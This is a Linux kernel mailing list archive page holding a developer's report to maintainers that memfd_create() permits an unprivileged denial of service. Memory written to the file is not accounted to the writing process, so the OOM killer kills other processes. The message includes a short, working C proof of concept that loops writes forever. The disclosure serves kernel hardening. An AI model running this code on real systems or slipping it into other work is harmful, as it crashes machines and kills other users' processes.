linux-kernel.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
* Possible deny of service with memfd_create()
@ 2021-02-04 16:32 Christian König
  2021-02-04 17:12 ` Michal Hocko
  0 siblings, 1 reply; 7+ messages in thread
From: Christian König @ 2021-02-04 16:32 UTC (permalink / raw)
  To: Michal Hocko, LKML

Hi Michal,

as requested in the other mail thread the following sample code gets my 
test system down within seconds.

The issue is that the memory allocated for the file descriptor is not 
accounted to the process allocating it, so the OOM killer pics whatever 
process it things is good but never my small test program.

Since memfd_create() doesn't need any special permission this is a 
rather nice deny of service and as far as I can see also works with a 
standard Ubuntu 5.4.0-65-generic kernel.

Cheers,
Christian.

#define _GNU_SOURCE
#include <sys/mman.h>
#include <unistd.h>
#include <stdlib.h>

unsigned char page[4096];

int main(void)
{
         int i, fd;

         for (i = 0; i < 4096; ++i)
                 page[i] = i;

         fd = memfd_create("test", 0);

         while (1)
                 write(fd, page, 4096);
}


^ permalink raw reply	[flat|nested] 7+ messages in thread

end of thread, other threads:[~2021-02-06  0:37 UTC | newest]

Thread overview: 7+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2021-02-04 16:32 Possible deny of service with memfd_create() Christian König
2021-02-04 17:12 ` Michal Hocko
2021-02-05  0:32   ` Hugh Dickins
2021-02-05  7:54     ` Christian König
2021-02-05 10:50       ` Michal Hocko
2021-02-05 10:57         ` Christian König
2021-02-05 12:26           ` Michal Hocko

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).